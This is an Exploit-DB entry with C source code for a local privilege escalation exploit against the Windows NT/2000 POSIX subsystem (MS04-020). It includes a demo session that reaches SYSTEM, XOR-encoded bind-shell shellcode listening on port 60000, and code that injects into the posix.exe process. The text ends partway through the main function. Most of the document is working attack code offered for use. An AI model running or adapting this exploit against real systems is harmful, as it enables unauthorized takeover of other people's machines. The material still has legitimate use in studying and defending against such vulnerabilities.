Exploit-DB #24277
Description: Microsoft Windows NT 4.0/2000 - POSIX Subsystem Local Buffer Overflow / Local Privilege Escalation (MS04-020)
Type: local
Platform: windows
Date: 2004-07-16
Author: bkbll

Exploit:
// source: https://www.securityfocus.com/bid/10710/info

The Microsoft POSIX subsystem implementation is prone to a local buffer overflow vulnerability.

A local attacker may exploit this vulnerability in order to run code with elevated privileges, fully compromising the vulnerable computer. 

/* Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit (MS04-020)
*
* Tested on windows 2k sp4 CN,NT/XP/2003 NOT TESTED
*
* Posixexp.c By bkbll (bkbll cnhonker net,bkbll tom com) www cnhonker com
*
* 2004/07/16 
*
* thanks to eyas xfocus org
*
*
C:\>whoami
VITUALWIN2K\test

C:\>posixexp
Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit(1
By bkbll (bkbll#cnhonker.net,bkbll#tom.com) www.cnhonker.com

pax: illegal option--h
Usage: pax -[cimopuvy] [-f archive] [-s replstr] [-t device] [pattern.
pax -r [-cimopuvy] [-f archive] [-s replstr] [-t device] [patte
pax -w [-adimuvy] [-b blocking] [-f archive] [-s replstr]
[-t device] [-x format] [pathname...]
pax -r -w [-ilmopuvy] [-s replstr] [pathname...] directory

For more information on pax syntax, see Command Reference
Help in the Windows Help file.Remote addr:0x7ff90000
Microsoft Windows 2000 [Version 5.00.2195]
(C) .... 1985-2000 Microsoft Corp.

C:\WINNT\system32>whoami
whoami
NT AUTHORITY\SYSTEM

C:\WINNT\system32>exit
[+] Connection closed in exit command.

C:\>

*/

#include <stdlib.h>
#include <Winsock2.h>
#include <windows.h>

#pragma comment(lib,"ws2_32")

#define PATCHADDR 0x0100343D        //......posix.exe...
#define MEMSIZE 0x350
#define CODESIZE 50
#define bind_port_offset 116
#define RETADDR 0x796E9B53 //advapi32.dll jmp esp
// [ebp-0x200] [saved ebp] [saved eip] 
#define EIPLOCATION 0x200+4-12    //12."\DosDevices\"...
#define CANWRITEADDR 0x7ffdf02c     //...+0x20...
#define VERSION "1.0"

unsigned short bindport = 60000;

unsigned char jmpcode[]=
"\x33\xC0"        //xor eax,eax
"\x66\xB8\xc0\x01"    //mov ax,0x1ff
"\x40"            //inc eax
"\x2B\xE0"        //sub esp,eax
"\xFF\xE4"        //jmp esp
"\x00";            //\0 zero NULL 
   
unsigned char bind_shell[]=
"\xeb\x10\x5b\x4b\x33\xc9\x66\xb9\x45\x01\x80\x34\x0b\xee\xe2\xfa"
"\xeb\x05\xe8\xeb\xff\xff\xff"
/* 302 bytes shellcode, xor with 0xee */
"\x07\x12\xee\xee\xee\xb1\x8a\x4f\xde\xee\xee\xee\x65\xae\xe2\x65"
"\x9e\xf2\x43\x65\x86\xe6\x65\x19\x84\xea\xb7\x06\x72\xee\xee\xee"
"\x0c\x17\x86\xdd\xdc\xee\xee\x86\x99\x9d\xdc\xb1\xba\x11\xf8\x7b"
"\x84\xe8\xb7\x06\x6a\xee\xee\xee\x0c\x17\x65\x2a\xdd\x27\xdd\x3c"
"\x5f\xea\x19\x1f\xc5\x0c\x6f\x02\x7e\xef\xee\xee\x65\x22\xbf\x86"
"\xec\xec\xee\xee\x11\xb8\xca\xdd\x27\xbf\x86\xec\xee\xee\xdb\x65"
"\x02\xbf\xbf\xbf\xbf\x84\xef\x84\xec\x11\xb8\xfe\x7d\x84\xfe\xbb"
"\xbd\x11\xb8\xfa\xbe\xbd\x11\xb8\xf6\x65\x12\x84\xe0\xb7\x45\x0c"
"\x13\xbe\xbe\xbd\x11\xb8\xf2\x88\x29\xaa\xca\xc2\xef\xef\x45\x45"
"\x45\x65\x3a\x86\x8d\x83\x8a\xee\x65\x02\xdd\x27\xbe\xb9\xbc\xbf"
"\xbf\xbf\x84\xef\xbf\xbf\xbb\xbf\x11\xb8\xea\x84\x11\x11\xd9\x11"
"\xb8\xe2\xbd\x11\xb8\xce\x11\xb8\xce\x11\xb8\xe6\xbf\xb8\x65\x9b"
"\xd2\x65\x9a\xc0\x96\xed\x1b\xb8\x65\x98\xce\xed\x1b\xdd\x27\xa7"
"\xaf\x43\xed\x2b\xdd\x35\xe1\x50\xfe\xd4\x38\x9a\xe6\x2f\x25\xe3"
"\xed\x34\xae\x05\x1f\xd5\xf1\x9b\x09\xb0\x65\xb0\xca\xed\x33\x88"
"\x65\xe2\xa5\x65\xb0\xf2\xed\x33\x65\xea\x65\xed\x2b\x45\xb0\xb7"
"\x2d\x06\x11\x10\x11\x11\x60\xa0\xe0\x02\x9c\x10\x5d\xf8\x01\x20"
"\x0e\x8e\x43\x37\xeb\x20\x37\xe7\x1b\x43\x4a\xf4\x9e\x29\x4a\x43"
"\xc0\x07\x0b\xa7\x68\xa7\x09\x97\x28\x97\x25\x03\x12\xd5"
;

int readwrite(SOCKET fd);
int client_connect(int sockfd,char* server,int port);

main()
{
   STARTUPINFO si;
   PROCESS_INFORMATION pi;
   LPVOID pdwCodeRemote;
   unsigned int cbMemSize = MEMSIZE;
   DWORD dwOldProtect,dwNumBytesXferred;
   unsigned char buffer[MEMSIZE];
   unsigned int buflen=0;
   unsigned char textbuf[CODESIZE];
   int i;
   unsigned short lports;
   char cmdarg[400];
   char systemdir[MAX_PATH+1];
   WSADATA    wsd;
   SOCKET sockfd;
   
   printf("Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit(%s)\n",VERSION);
   printf("By bkbll (bkbll#cnhonker.net,bkbll#tom.com) www.cnhonker.com\;n\n");
   if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
   {
       printf("[-] WSAStartup error:%d\n", WSAGetLastError());
       return -1;
   }
   
   i = GetWindowsDirectory(systemdir,MAX_PATH);
   systemdir[i]='\0';
   _snprintf(cmdarg,sizeof(cmdarg)-1,"%s\\system32\\posix.exe /P %s\\system32\\pax.exe /C 
pax -h",systemdir,systemdir);
   //printf("cmdarg:%s\n",cmdarg);
   //exit(0);
   ZeroMemory(&si,sizeof(si));
   si.cb = sizeof(si);
   ZeroMemory( &pi,sizeof(pi));
   //create process
   //..psxss....
   if(!CreateProcess(NULL, cmdarg, NULL, NULL, TRUE, 0, 0, 0, &si, &pi))
   {
    printf("CreateProcess1 failed:%d\n", GetLastError());
    return 0;
   }
   WaitForSingleObject(pi.hProcess, INFINITE);
   //.....
   ZeroMemory(&si,sizeof(si));
   si.cb = sizeof(si);
   ZeroMemory( &pi,sizeof(pi));
   if(!CreateProcess(NULL, cmdarg, NULL, NULL, TRUE,CREATE_SUSPENDED, 0, 0, &si, &pi))
   {
    printf("CreateProcess2 failed:%d\n", GetLastError());
    return 0;
   }
   //alloc from remote process
   pdwCodeRemote = (PDWORD)VirtualAllocEx(pi.hProcess, NULL, cbMemSize,MEM_COMMIT | 
   MEM_TOP_DOWN,PAGE_EXECUTE_READWRITE);
   if (pdwCodeRemote == NULL) 
   {
       TerminateProcess(pi.hProcess,0);
       printf("VirtualAllocEx failed:%d\n",GetLastError());
       return 0;
   }
   printf("Remote addr:0x%08x\n",pdwCodeRemote);
   //we can write and execute
   if(!VirtualProtectEx(pi.hProcess, pdwCodeRemote, cbMemSize,PAGE_EXECUTE_READWRITE, &dwOldProtect)) 
   {
       TerminateProcess(pi.hProcess,0);
       printf("VirtualProtectEx failed:%d\n",GetLastError());
       return 0;
   }
   //make shellcode    
   lports = htons(bindport)^0xeeee;
   memcpy(bind_shell+bind_port_offs